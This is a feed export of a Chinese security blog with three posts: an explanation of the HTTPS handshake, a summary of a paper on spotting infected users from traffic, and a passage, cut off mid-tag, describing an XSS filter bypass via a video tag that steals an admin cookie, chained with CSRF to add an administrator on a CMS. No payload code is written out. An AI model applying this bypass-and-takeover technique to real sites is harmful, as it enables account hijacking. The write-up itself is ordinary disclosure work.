    <title>从流量的角度详解HTTPS协议握手过程</title>
    <link href="http://yoursite.com/2018/11/19/https/"/>
    <id>http://yoursite.com/2018/11/19/https/</id>
    <published>2018-11-19T03:39:32.000Z</published>
    <updated>2019-03-02T01:57:21.992Z</updated>
    
    <content type="html"><![CDATA[<p>由于最近在思考搭建一个属于自己的网站，为了安全性，决定仔细研究了一下HTTPS。看了很多资料，对其中的很多细节做了研究，再加上亲手抓包来做参考，终于算是对整个握手过程和保证有了认识，所以尝试用文字性的语句描述下来，以最通俗易懂且详尽的方式来让更多读者理解。所以即使你是完全不懂https的小白，也能通过我的文章对其有一定的学习收获。</p><a id="more"></a><hr><h1 id="握手"><a href="#握手" class="headerlink" title="握手"></a>握手</h1><p>在全篇文章开始，我们先理解一下什么是握手。我们思考一个场景，两个陌生人见面了，如何进行交谈呢？握手是很好的一个方法来使双方达成共识。一人伸出手来，表示我想和你交谈，另一个人握住他的手，表示我愿意与你交谈，双方从而达成共识，可以开始愉快地交谈了。<br>我们将场景映射到计算机环境中，那个伸出手的人是客户端，而握住手的人就是服务器。双方进行握手，完成连接，随后开始传输数据。</p><p><img src="https://timgsa.baidu.com/timg?image&amp;quality=80&amp;size=b9999_10000&amp;sec=1542276851570&amp;di=e2a7a818ebb0a2bfdda8867c266c0770&amp;imgtype=0&amp;src=http://photo.orsoon.com/180308/180308_23/WQuCXsMyxB_small.jpg" alt="https-1"></p><p>但实际的场景可能会复杂很多，如果这两个陌生人要交谈的内容是机密性的，不希望被别人听到，那这个握手过程可能不仅仅只是握手，他们可能会商量好在哪交谈，用什么方式交谈等等，确保没有问题后才会握手达成共识。对于HTTPS来说，就是这个场景，为了安全性，其握手过程也会比普通的HTTP握手过程复杂。</p><h1 id="整个HTTPS握手流程"><a href="#整个HTTPS握手流程" class="headerlink" title="整个HTTPS握手流程"></a>整个HTTPS握手流程</h1><p>整个HTTPS的握手大概可以分为4个步骤：</p><ol><li>客户端发起请求，向服务器端传递一个随机数p，以及客户端支持的加密算法</li><li>服务器接到请求，回复客户端使用哪套加密算法，并向客户端回传一个随机数q以及服务器证书（包含公钥）</li><li>客户端拿到服务器回传的信息，开始验证服务器证书，确定无误后，生成第三个随机数k，并使用公钥加密这个随机数并传递给服务器。</li><li>服务器拿到公钥加密后的随机数k，使用私钥解密，并使用已经拥有的3个随机数(p,q,k)生成最终的对称加密密钥，并告诉客户端其已经得到最终的对称加密密钥，可以开始通信了。</li></ol><p><img src="http://picture.whiterabbitxyj.com/blogPicture/https/https-2.png" alt="https-2"></p><p>整个过程差不多就是这样，如果你对“对称加密”和“非对称加密”没有了解的话，可能理解其整个握手过程会很头疼，这里我只做简单的讲解：</p><ul><li>对称加密：加密和解密都用同一个密钥。</li><li>非对称加密：拥有密钥对（公钥和私钥），一种密钥加密的密文必须用另一个密钥才能解密。</li></ul><p>更详细内容可能需要小白们自己搜资料学习了，我们所需要知道的，HTTPS同时使用了这两种加密方式来完成通信，是因为直接使用非对称加密来加密信息的计算代价太大了，而对称加密却很快，所以HTTPS使用非对称加密的方法来传递对称加密的密钥（实际上只是生成密钥的信息），再使用对称加密来实现信息加密。</p><h1 id="在流量角度来看整个握手过程"><a href="#在流量角度来看整个握手过程" class="headerlink" title="在流量角度来看整个握手过程"></a>在流量角度来看整个握手过程</h1><p>为了展示整个握手过程的流量交互，我使用wireshark抓取了数据，但所捕捉的数据不够典型，所以我借用<a href="https://razeen.me/post/ssl-handshake-detail.html" target="_blank" rel="external">RAZEEN博客</a>中的截图来进行讲解说明。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/https/https-17.png" alt="https-3"></p><p>下面我会解释每一个数据包与其对应的过程。</p><h2 id="Client-Hello"><a href="#Client-Hello" class="headerlink" title="Client Hello"></a>Client Hello</h2><p>客户端开始向服务器发起访问请求，在这个过程中，客户端会生成一个随机数p，然后把随机数和一些信息一起打包发送给服务器。这里的信息包括：我支持的协议版本，可以使用的加密算法等等，您看看我们用哪个好？</p><p>我们可以从流量的第一个Client Hello数据包看到这些携带的信息：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/https/https-9.png" alt="https-4"></p><h2 id="Server-Hello"><a href="#Server-Hello" class="headerlink" title="Server Hello"></a>Server Hello</h2><p>服务器端接收到了客户端的请求，回复已经收到请求，并告诉客户端我们使用什么版本的协议，以及使用什么样的加密算法来通信。在回复的内容中，还会包含一个服务器端产生的随机数q，用以后面生成密钥。</p><p>我们可以从第二个数据包Server Hello看到这些信息：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/https/https-10.png" alt="https-5"></p><p>我们可以看到这个Cipher Suite的格式，其包含了一套加密算法，包括非对称的加密算法以及对称加密算法等等，可以参考一下下面的图:</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/https/https-18.png" alt="https-5.5"></p><p>之后，服务器端还会把自己的电子证书（Certificate）传递给客户端，用以让客户端验证自己的身份，证书中还包含了服务器的公钥，用以等会传递第三个随机数。完成这一步后，服务器会回复一个 “Server Hello Done” 来表明已经将所有预计的握手消息发送完毕。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/https/https-6.png" alt="https-6"></p><h2 id="Client-Key-Exchange"><a href="#Client-Key-Exchange" class="headerlink" title="Client Key Exchange"></a>Client Key Exchange</h2><p>客户端接收到了服务器端的证书，验证证书的有效性和签名，确定无误后，开始准备传递第三个随机数。<br>这是很关键的一步，上面传递的2个随机数都是明文传递，是可以被攻击者获取的，接下来要传递的第三个随机数是绝密的。客户端使用服务器证书中的公钥加密这个随机数，并将其传递给服务器，由只有服务器拥有私钥，所以只有服务器可以拿到这个随机数。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/https/https-7.png" alt="https-7"></p><p>这完成随机数传输后，客户端发送一个 “Change Cipher Spec” 来告诉服务器我已经生成加密密钥了，而且生成加密密钥的第三个随机数也已经发送给你了，接下来我们将切换到加密通信模式。</p><h2 id="Finished"><a href="#Finished" class="headerlink" title="Finished"></a>Finished</h2><p>服务器接收到经过公钥加密的第三个随机数，然后用私钥解密他得到随机数k，再使用随机数p,q,k来生成最终的加密密钥，因为随机数相同，所以客户端和服务器端现在手里的密钥是相同的，所以可以进行通信。这个时候，服务器会回复一个 “Change Cipher Spec”，目的和客户端发送的一样，表示接下来的通信使用加密的方式。可以看到，在上一个数据包中，客户端会给服务器发送一个 “Encrypted Handshake Message” ,而服务器也会在最后回复一个Encrypted Handshake Message，这是由客户端服务器之间协商的算法和密钥保护的第一个消息，它意味着握手已经完成。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/https/https-8.png" alt="https-8"></p><h1 id="密钥"><a href="#密钥" class="headerlink" title="密钥"></a>密钥</h1><p>通过整个流程我们可以分析出，服务器和客户端的加密通信基础在于<strong>双方拥有相同的对称加密密钥</strong>。但是直接传递对称加密密钥是不可行的，一旦被攻击者截获，那通信将无秘密可言。所以怎么安全地传递对称密钥是一个问题，HTTPS采取的方法是使用非对称加密体制来传递密钥信息，事实上Client Hello和Server Hello都是在为非对称加密做准备。</p><p>HTPPS的设计是客户端和服务器端各生成一个随机数，并在前两次通信中进行传递，这两个随机数是可以被截获的，但无伤大雅。在前两次通信中，客户端和服务器端出来传递随机数，也商量好了使用哪种非对称算法来进行第三个随机数传输，并且已经完成了公钥的传递。第三个随机数由客户端生成，并将随机数使用公钥加密后传递给服务器。这个过程可能被截获，但是由于没有私钥，攻击者依旧无法得到第三个随机数，只有服务器可以得到。至此，客户端和服务器端都拥有了这三个随机数，所以能够生成相同的对称密钥。</p><p>我们思考个问题，为什么是3个随机数？我们知道现在的随机数都算是伪随机数，无法保证真正的随机性，但是3个伪随机数生成的新数在一定意义上能保证随机性，达到随机的安全标准。随机数的意义在于抵抗重放攻击，当然客户端和服务器各自生成随机数也能防止一方产生的随机数可能出现的问题。</p><h1 id="DH握手"><a href="#DH握手" class="headerlink" title="DH握手"></a>DH握手</h1><p>上面我们一直在以RSA握手形式来描述整个握手流程，因为RSA握手是最经典而常规的HTTPS实现方式，方便小白理解。实际上，HTTPS一共有两种方式来握手。<strong>在实际的抓包观察中，我发现大部分的网站HTTPS都是采用DH握手的。</strong></p><p>说起来DH算法真的是一个很神奇的算法，原理上它是非对称加密的基础，这里不对算法进行分析描述，有兴趣的可以参考：<a href="https://blog.csdn.net/mrpre/article/details/52608867" target="_blank" rel="external">DH算法原理</a>。本博文只讲述一下DH握手与RSA握手有什么不同。</p><p>整个HTTPS的握手大概可以分为4个步骤：</p><ol><li>客户端发起请求，向服务器端传递一个随机数p，以及客户端支持的加密算法</li><li>服务器接到请求，回复客户端使用哪套加密算法，并向客户端回传一个随机数q以及服务器证书（包含公钥）</li><li>服务器先发起DH参数交换请求，使用自己的私钥签名DH参数后发送给客户端。客户端验证服务器证书，确定无误后将自己的DH参数发送给服务器。</li><li>服务器拿到客户端的DH参数后计算出第三个随机数k，并使用已经拥有的3个随机数(p,q,k)生成最终的对称加密密钥，并告诉客户端其已经得到最终的对称加密密钥，可以开始通信了。</li></ol><p><img src="http://picture.whiterabbitxyj.com/blogPicture/https/https-11.png" alt="https-11"></p><p>我们可以看到，其实RSA握手和DH握手的差异只在于第三个随机数的传递方式，RSA握手使用非对称加密的公钥加密方式来传递第三个随机数，而DH握手使用服务器端和客户端相互交换DH参数的方式来传递第三个随机数。</p><p>在流程上，在 Server Hello 后，服务器会将DH参数用私钥加密传递给客户端。客户端用公钥解密DH参数，从而验证这条信息来自于服务器，而后将自己的DH参数传递给服务器。DH算法的巧妙在于，客户端和服务器端都有一个属于自己的信息，他们将自己的信息和另一个信息结合后公布出来，而他们再将对方公布的信息和自己的信息结合，就能生成一样的密钥。所以，从始到终，客户端和服务器端都不知道对方的私密信息是什么，但这不重要，只要他们拿到对方的公开信息和自己的私密信息，就能生成一样的密钥。因此攻击者只知道公开信息，完全没有任何作用，根本无从下手。</p><p>因此DH握手和RSA握手的差别只在于如何交换对称密钥信息，但他们的最终目的还是生成一个双方共享的对称密钥。</p><p>我们看看在流程数据包中的具体DH握手：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/https/https-3.png" alt="https-12"></p><p>可以和RSA握手的图进行比较，多了一个Server Key Exchange，也就是服务器端发出的信息多了一次（因为DH参数是客户端和服务器端相互交换，比起客户端直接加密随机数返回自然多了一步。</p><h2 id="Client-Hello-1"><a href="#Client-Hello-1" class="headerlink" title="Client Hello"></a>Client Hello</h2><p>这一步的过程和RSA握手基本上没有差别，依旧是客户端开始发起请求，可以看一看流量数据包截图：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/https/https-4.png" alt="https-13"></p><h2 id="Server-Hello-1"><a href="#Server-Hello-1" class="headerlink" title="Server Hello"></a>Server Hello</h2><p>第二部初始的Server Hello和RSA握手也没有什么差别：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/https/https-5.png" alt="https-14"></p><p>这时服务器会和RSA握手一样将自己的证书发送给客户端。不同的是，此时RSA握手已经发送Server Hello Done表示Server Hello结束，而DH握手还会将自己经过计算的DH参数传递给客户端（Server Key Exchange），最后发送一个Server Hello Done 来表示发送的信息已经完成。 </p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/https/https-14.png" alt="https-15"></p><h2 id="Client-Key-Exchange-1"><a href="#Client-Key-Exchange-1" class="headerlink" title="Client Key Exchange"></a>Client Key Exchange</h2><p>收到了服务器端发送的证书和DH参数后，客户端会先验证服务器证书，确定无误后，使用服务器的DH参数来计算自己的DH参数，然后将其发送给服务器。剩下来的过程就一样了，发送Change Cipher Spec来表示自己已经生成加密对称密钥了，接下来的通信将切换到加密方式，发送发送第一个加密信息。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/https/https-15.png" alt="https-16"></p><h2 id="Finish"><a href="#Finish" class="headerlink" title="Finish"></a>Finish</h2><p>这一步也是一样的，服务器回复Change Cipher Spec和Encrypted Handshake Message，随后加密通信数据传输开始。</p><h1 id="证书验证"><a href="#证书验证" class="headerlink" title="证书验证"></a>证书验证</h1><p>HTTPS证书的验证是我的一个兴趣点，所以我深入进行了研究与观察。我们首先需要知道，证书是用来验证服务器身份的。我们联系到我们实际的生活场景，假如我们完成了某次国家编程等级考试，那么我们会得到一张证书。</p><p>在某次工作应聘的过程中，对方要求我们提供编程等级证书，于是我们提供这张证书。但是对方招人是很严格的，他们会对这张证书进行审查。</p><p>首先，他们需要确保获得这张编程等级证书的人的确是我。所以这个证书上获得人的名字必须是我的名字（可以映射到电子证书上的域名）。确定了这张证书的获得人的确是我，接下来他们需要验证这张证书是否有效，所以他们会去查这个证书颁发机构是否权威。这个过程是通过验证签名，如果是阿猫阿狗颁发的（非权威机构签名和自签名证书），那他们会去问老板（实际用户）这个要不要收。如果是权威机构颁发的，那他们就确定了这张证书有效，收了。</p><p>在实际的客户端和服务器通信中，服务器将证书传递给客户端，证书中包含了公钥。客户端拿到证书，先会去验证证书是否在时效内，域名信息什么的是否正确等等。然后去看签名，看看是哪个机构做的签名，验证签名的方式就是拿这个机构的公钥去解密签名，如果能解那就的确是这个机构签的，所以这里也有一个非对称加密的应用。当然，很可能给证书签名的机构并不是CA机构，我们去得到他公钥的方式也是获取他的证书，那么我又要去验证他证书上的签名。所以这就会变成一个递归问题，我们需要不断验证上一个证书的签名，直到最终那个我们信任的证书就在我们本地，这个证书我们称为根证书，比如CA权威证书。而这一连串需要验证的证书，我们又称之为证书链。直到客户端确定了这个证书有效，那么就会进行下一步。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/https/https-12.png" alt="https-12"></p><p>所以我们可以随之想到，当我们使用自签名证书时，客户端能验证这个签名是我们签的，但我们并不是权威机构，所以会生成一个警告并提醒用户。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/https/https-13.png" alt="https-13"></p><h1 id="结束"><a href="#结束" class="headerlink" title="结束"></a>结束</h1><p>关于https的握手基本上到这里就差不多了，最后分享一个给自己网站配置https的官方应用：<a href="https://letsencrypt.org/" target="_blank" rel="external">Let’s Encrypt</a>，这个网址应用可以免费申请电子证书以及自动配置https，其建立就是为了推广https，所以大家可以去试试，自己搭个网站研究研究，可以更好地理解https。</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;由于最近在思考搭建一个属于自己的网站，为了安全性，决定仔细研究了一下HTTPS。看了很多资料，对其中的很多细节做了研究，再加上亲手抓包来做参考，终于算是对整个握手过程和保证有了认识，所以尝试用文字性的语句描述下来，以最通俗易懂且详尽的方式来让更多读者理解。所以即使你是完全不懂https的小白，也能通过我的文章对其有一定的学习收获。&lt;/p&gt;
    
    </summary>
    
    
      <category term="流量" scheme="http://yoursite.com/tags/%E6%B5%81%E9%87%8F/"/>
    
      <category term="https" scheme="http://yoursite.com/tags/https/"/>
    
  </entry>
  
  <entry>
    <title>通过网络流量识别感染用户</title>
    <link href="http://yoursite.com/2018/11/12/xueshu-2/"/>
    <id>http://yoursite.com/2018/11/12/xueshu-2/</id>
    <published>2018-11-12T03:39:32.000Z</published>
    <updated>2018-12-13T12:40:17.163Z</updated>
    
    <content type="html"><![CDATA[<p>论文：Identifying infected users via network traffic<br>作者：Margaret Gratian a , Darshan Bhansali a , Michel Cukier a , Josiah Dykstra b<br>期刊：computers &amp; security<br>时间：2018<br>来源：SCI</p><a id="more"></a><hr><h1 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h1><h2 id="网络流量识别现状"><a href="#网络流量识别现状" class="headerlink" title="网络流量识别现状"></a>网络流量识别现状</h2><ul><li><p>利用网络流量来识别感染个体在研究与开发中都得到了广泛应用</p></li><li><p>大多数方法是基于IP地址，二进制以及硬件设备</p></li><li><p>许多实际网络流量识别的准确率已经能超过99%</p></li><li><p>如何去通过网络流量来分析用户个体以及用户行为已经成为热门</p></li></ul><h2 id="作者的思路"><a href="#作者的思路" class="headerlink" title="作者的思路"></a>作者的思路</h2><ul><li><p>提供一个映射表，能将每条流量与用户关联起来</p></li><li><p>通过流量特征来识别用户是否为感染用户</p></li></ul><h2 id="文章涉及到的方法"><a href="#文章涉及到的方法" class="headerlink" title="文章涉及到的方法"></a>文章涉及到的方法</h2><ul><li><p>主成分分析</p></li><li><p>无监督学习聚类</p></li><li><p>有监督学习建模</p></li></ul><hr><h1 id="背景和相关工作"><a href="#背景和相关工作" class="headerlink" title="背景和相关工作"></a>背景和相关工作</h1><p>这一章节作者总结分析了前人的研究工作，这里不做重复阐述，而在相关工作方面作者提出了两大问题：</p><h2 id="问题一"><a href="#问题一" class="headerlink" title="问题一"></a>问题一</h2><p>能否从网络流量中提取出能够最好地解释用户行为差异的特征？</p><p>以前的研究的特征能够做到区分恶意和良性的主机或IP地址，作者希望找到特征能够做到区分感染与非感染用户。</p><h2 id="问题二"><a href="#问题二" class="headerlink" title="问题二"></a>问题二</h2><p>对感染与非感染用户的识别度有多高？</p><p>作者选择用无监督学习与有监督学习一起评估。<br>无监督学习评估方法：每个簇的纯度。<br>有监督学习评估方法：ROC曲线，AUC值，漏报率以及误报率。</p><hr><h1 id="数据"><a href="#数据" class="headerlink" title="数据"></a>数据</h1><p>这一节讲解了如何获取数据集，数据的提纯以及处理。</p><h2 id="数据集"><a href="#数据集" class="headerlink" title="数据集"></a>数据集</h2><p>数据来源：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu2/xueshu2-2.png" alt="xueshu-2"></p><p>1.数据由学校信息安全IT部门提供，从2017年10月26日——11月21日中随机抽取样本。</p><p>2.question：为什么要使用无线流量作为研究对象？<br>在大学里，65%的流量都是无线流量，基数大。</p><p>3.流量由老师，学生，职工，以及闲杂人等产生，每个要使用网络的人都需要认证，认证方法就是使用个人唯一标识ID，这个标识会被系统记录并附加到每一条流量记录上。</p><p>4.在使用这个数据集前，作者提了一下用户隐私保护问题，每个ID在给予他们做实验前都转换成了hash，这样就保证了匿名性。数据集一共包括了66,551,686条无线流量记录以及14,621条威胁记录。</p><p>流量记录：一个完整的对话流才会产生记录，每条流量记录拥有54个字段，包含了源用户ID，会话开始时间，源IP和目的IP，发送和接收的字节数，发送和接收的数据包数会话长度等等。</p><p>威胁记录：被系统检测到无线会话过程中出现的恶意威胁。因此每条威胁记录可以匹配到流量记录中的某几条数据。威胁记录包含了协议、威胁时间、威胁类型，威胁程度等等。数据集中只包含中等威胁及以上的数据。</p><h2 id="数据验证与处理"><a href="#数据验证与处理" class="headerlink" title="数据验证与处理"></a>数据验证与处理</h2><p>作者提到，使用Python的Pandas库和Numpy库来进行这一步。</p><p>1.确定实际人数。在无线流量记录中，一共提取出53,165个用户；在威胁记录中，一共提取出1935个用户。进行一一关联时，作者发现者1935个用户中有12个用户从未出现在无线流量记录中。这12个用户属于异常数据，作者猜测是因为会话在一开始就被定义为威胁，然后被记录，然而还未产生完整的会话流就直接终止，所以并没有任何流量记录。所以最后作者去除这12个用户产生的威胁记录，只保留了1923个威胁用户。</p><p>2.关联流量记录和威胁记录。关联方法为先用用户ID来筛选流量记录，再用时间来确定。</p><p>3.调整数据集。原数据中一共有1923个感染用户和51,242个非感染用户，由于这个比例差距比较大，所以作者考虑缩小非感染用户样本数量来调节。作者一共设置了6个分组。其中3个分组感染用户和非感染用户的比例为1:1，另外3个分组中感染用户和非感染用户的比例为3:7。</p><hr><h1 id="特征"><a href="#特征" class="headerlink" title="特征"></a>特征</h1><h2 id="筛选字段"><a href="#筛选字段" class="headerlink" title="筛选字段"></a>筛选字段</h2><p>在上面提到，每条流量记录一共有54个字段，这些字段很明显不是每一条都有用的。所以作者经过了筛选，删除条件包括：有缺失值，总是记录相同值，信息量小。最后作者只保留了10个字段：<em>Start Time, Elapsed Time, Source IP, Source Port, Destination IP, Destination Port, Bytes Sent, Bytes Received, Packets Sent, and Packets Received</em>。</p><h2 id="生成特征"><a href="#生成特征" class="headerlink" title="生成特征"></a>生成特征</h2><p>这里作者做了2步工作，第一步将上面筛选出的10个字段数字化，第二步，从这10个字段中提取出36个特征。作者表示这些特征覆盖了多个方面（比如频率，数量，时间）。具体特征为下表：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu2/xueshu2-3.png" alt="shuxue2-3"></p><hr><h1 id="主成分分析"><a href="#主成分分析" class="headerlink" title="主成分分析"></a>主成分分析</h1><p>作者使用主成分分析方法来降维，绘制了Screen plots图来对主成分的数量进行选择，最后将36个特征转换成了13个主成分（数目到达13开始平稳）。对于两类比例分组，方差解释率（评估主成分的原特征的转换成功率）在1:1的3个分组分别达到了90.01%,90.22%,98.09%，在3:7的3个分组分别达到了90.27%,90.39%,97.71%。</p><p>而原始36个特征对方差解释率的贡献如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu2/xueshu2-4.png" alt="xueshu2-4"></p><p>分析：<br>1.先分析比例为1:1的数据集分组，平均方差解释率为92.77%，而有5个特征拥有最高的方差贡献：average session length, average number of bytes sent, num- ber of unique destination ports, number of unique source IP addresses, and average time difference between session start times。</p><p>2.作者然后用 “相关值（correlation value）” 来评价主成分和原特征之间的关系，并以此来增强对特征解释用户差异的理解。根据描述，当相关值阈值设置为0.4时，有17个特征满足条件；阈值设置为0.5时，有10个特征满足条件；阈值设置为0.6时，只剩6个；为0.7时为2个而0.8为1个。</p><p>3.作者主要观察了阈值为0.5时的十个特征，发现最高的5个特征就是那5个方差贡献值最高的5个特征。</p><p>4.作者接着分析了3:7的分组，过程和结果基本和1:1相同，这里不做复述。</p><p>5.作者在这里对之前提出的问题一做出解答，认为阈值为0.5时这10个特征能够做出解释。</p><hr><h1 id="无监督聚类"><a href="#无监督聚类" class="headerlink" title="无监督聚类"></a>无监督聚类</h1><p>在无监督聚类这一步，作者选择的是K-mean方法，且作用对象为全部1:1和3:7的6个样本，特征选用全部36个特征以及13个主成分。经过测试，作者选择了K-mean方法的参数K=4。<br>作者的思想是这样的，由于做的无监督学习，算法是不知道标签的，只会根据数据的相似性来聚类，作者可以根据最终的聚类结果观察感染用户和非感染用户的聚集性。最终的实验结果如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu2/xueshu2-5.png" alt="xueshu-5"></p><p>分析一下上面的结果，对于36个特征以及比例1:1的聚类，一共出现了3个独自成群的情况，作者将其视为潜在的离群值。不管这些值，群的纯度范围从70.51%到89.09%。而对于36个特征以及比例3:7的聚类，依旧出现了3个离群实例，而群的纯度也显得更高。但是3:7的聚类出现了平分群的情况，即纯度接近50%。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu2/xueshu2-6.png" alt="xueshu-6"></p><p>分析一下上面的结果，对于13个主成分以及比例1:1的聚类，一共出现了3离群实例以及1个平分群的情况。除去这些，群的纯度范围从64.93%到94.12%。而对于13个主成分以及比例3:7的聚类，出现了2个离群实例和一个平分群情况，而群的纯度范围为60.07%到100%。</p><p>作者表示，虽然不知道算法究竟是怎么运转和做决定的，但其关注点在于不清楚具体标签的情况下，只根据特征和数据关联来聚类，最后的结果能否显示网络流量中存在用户感染状态的“信号”。作者认为无论是36个特征还是13个主成分都表现出了这种“信号”，因此有做长期研究的必要。但是由于也存在了平分群的情况，所以也要研究出现的原因。</p><hr><h1 id="有监督的学习"><a href="#有监督的学习" class="headerlink" title="有监督的学习"></a>有监督的学习</h1><p>和无监督聚类一样，在有监督学习这一块作者对2种比例的6个样本，36个原特征以及13种主成分都进行了实验，并将测试集和训练集以2:8和3:7的比例进行划分。</p><p>根据作者描述，其一共使用了8种机器学习算法来进行实验比较：K-Nearest Neighbors (scikit-learn developers 2017 b), Logistic Regression (scikit-learn develop- ers 2017 c), Random Forest (scikit-learn developers 2017 d), Ad- aBoost (scikit-learn developers 2017 e), Gradient Boost (scikit- learn developers 2017 f), Extra Tree (scikit-learn developers 2017 g), Bagging scikit-learn developers 2017 h), Voting (Ma- jority Rule) (scikit-learn developers 2017 i).<br>作者使用调整参数和十折交叉验证的方式来把每个算法调整至最佳，并防止其出现过拟合。除了上诉这8种算法，作者还使用了神经网络算法进行实验，双层的记为Neural Network 1，四层的记为Neural Net- work 2。作者使用4个指标来综合评估模型的好坏：Accuracy（精确度）, ROC AUC, false positive rate（误报率）, false negative rate（漏报率）。具体结果如下图：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu2/xueshu2-7.png" alt="xueshu-7"></p><p>由于空间问题，作者只在每一项展示了最优秀的几个分类器，可以看到上图1:1比例中Accuracy的范围在71.0%——79.0%，ROC AUCs的范围在81.0%——86.0%，false positive rate的范围在17.2%——21.5%，而false negative rate的范围在21.2%——41.3%。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu2/xueshu2-8.png" alt="xueshu-8"></p><p>上图3:7的样本分类比例中，Accuracy的范围在77.0%——78.5%，ROC AUCs的范围在80.9%——85.3%，false positive rate的范围在16.8%——22.0%，而false negative rate的范围在21.7%——36.0%。</p><p>作者表示，上图的显示结果是将4种评估方法视为同等重要性而产生的，但在实际环境中并不是这样，可能有些系统的误报率需求远重要于漏报率等等。在实验中并没有找到哪个分类器4个指标都优于其他分类器的情况，所以只能找出单个指标最优的，比如在1:1的分类比例中：79.0% accuracy by Neural Network 2; 86.0% ROC AUC by Gradient Boost; 17.2% FPR by Extra Tree; and 21.2% FNR by Neural Network 2。<br>而对于3:7的比例分类：78.5% accuracy by Gradient Boost; 85.3% ROC AUC by Gradient Boost; 16.8% FPR by Extra Tree; and 21.7% FNR by Gradient Boost。</p><hr><h1 id="缺陷"><a href="#缺陷" class="headerlink" title="缺陷"></a>缺陷</h1><p>作者在文末提到了自己研究的几个缺陷</p><p>1.选择完全相信系统的威胁记录，并不清楚系统的误报率和漏报率。</p><p>2.对“感染用户”的定义。作者选择将威胁等级中等以上视作感染用户，在全部的的感染用户中，中等威胁的用户有1858个，高威胁的用户只有41个，而严重威胁的用户优质11个。所以只考虑高威胁和严重威胁的用户为“感染用户”，那么实验结果可能更加合理，但是样本实在太小了。</p><p>3.无法保证流量记录的完整性。</p><hr><p>WhiteRabbit评论：</p><p>文章做足了实验，但是整个文章读下来感觉到最大的问题在于作者对于自己每一个实验的结果似乎只是在做描述，并没有进行分析或者有层次感地深入。这就导致了我们看到了实验结果，但不知道这个实验结果到底意味着什么，又有什么意义，对我们又有什么启发。</p><hr><p>文章作者：WhiteRabbit</p><p>来源：blog.whiterabbitxyj.com</p><p>转载请标注原文和作者。</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;论文：Identifying infected users via network traffic&lt;br&gt;作者：Margaret Gratian a , Darshan Bhansali a , Michel Cukier a , Josiah Dykstra b&lt;br&gt;期刊：computers &amp;amp; security&lt;br&gt;时间：2018&lt;br&gt;来源：SCI&lt;/p&gt;
    
    </summary>
    
    
      <category term="学术" scheme="http://yoursite.com/tags/%E5%AD%A6%E6%9C%AF/"/>
    
      <category term="论文" scheme="http://yoursite.com/tags/%E8%AE%BA%E6%96%87/"/>
    
  </entry>
  
  <entry>
    <title>当xss邂逅csrf：中招只在一瞬间</title>
    <link href="http://yoursite.com/2018/11/01/xsrf/"/>
    <id>http://yoursite.com/2018/11/01/xsrf/</id>
    <published>2018-11-01T03:39:32.000Z</published>
    <updated>2018-12-13T12:40:25.380Z</updated>
    
    <content type="html"><![CDATA[<p>这篇博文来自之前挖掘一套CMS漏洞时，同时挖出了xss和csrf漏洞。不过我提交漏洞后，xss漏洞被接受了，而csrf漏洞被退回了，理由是：利用难度太大，不予收录。可以想象当时我的心情是十分不爽的，所以我绞尽脑汁，将xss和csrf配合使用，向某机构证明是可以利用的，而且很方便。最后漏洞被收录吗？嘿嘿，你们自己猜吧，不过这次经历说明了当xss配合csrf打出组合拳时，会有意想不到的效果。</p><a id="more"></a><hr><h1 id="寻找XSS漏洞"><a href="#寻找XSS漏洞" class="headerlink" title="寻找XSS漏洞"></a>寻找XSS漏洞</h1><p>拿到CMS，第一件事先去看它有没有留言功能，因为留言功能一般是会传到后台给管理员看的，所以如果有留言功能就可能存在XSS漏洞。我很快找到这套CMS的留言框，迫不及待地打了一个XSS尝试：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xsrf/xss-1.png" alt="xsrf-1"> </p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xsrf/xss-2.png" alt="xsrf-2"></p><p>请求直接被拦截了，很明显是有过滤机制的，去查看了一下他们的防护措施：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xsrf/xss-3.png" alt="xsrf-3"></p><p>在上面我用红框标注的是针对xss的过滤，正则匹配关键字：script，img，还有几个弹框函数。这里我想说一下，一些小白挖xss的洞，script一下失败，然后换成img一下也失败，然后就放弃了。其实可以插xss的标签远不止这两个，比如我用video标签来绕过这次xss过滤：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xsrf/xss-4.png" alt="xsrf-4"></p><p>当管理员在后台查看留言时，就会触发xss代码，cookie被传到我的xss平台上：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xsrf/xss-6.png" alt="xsrf-6"></p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xsrf/xss-7.png" alt="xsrf-7"></p><h1 id="寻找CSRF漏洞"><a href="#寻找CSRF漏洞" class="headerlink" title="寻找CSRF漏洞"></a>寻找CSRF漏洞</h1><p>CSRF漏洞一般是由于没有检查Referer以及未在头部设置token造成的。<br>CSRF的漏洞的寻找相对简单，我截获了请求包，发现没有token来对csrf攻击进行防护，于是尝试删除csrf中的Referer字段，发现并不影响功能，比如增加管理员。所以判断这套CMS是存在csrf漏洞的，于是在另一台服务器上构造了利用代码：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xsrf/csrf-2.png" alt="xsrf-8"></p><p>当管理员访问我服务器上的网页时，他就会中招：看到一个空白页面，但是本地网站后台增加了一个管理员。</p><p><img 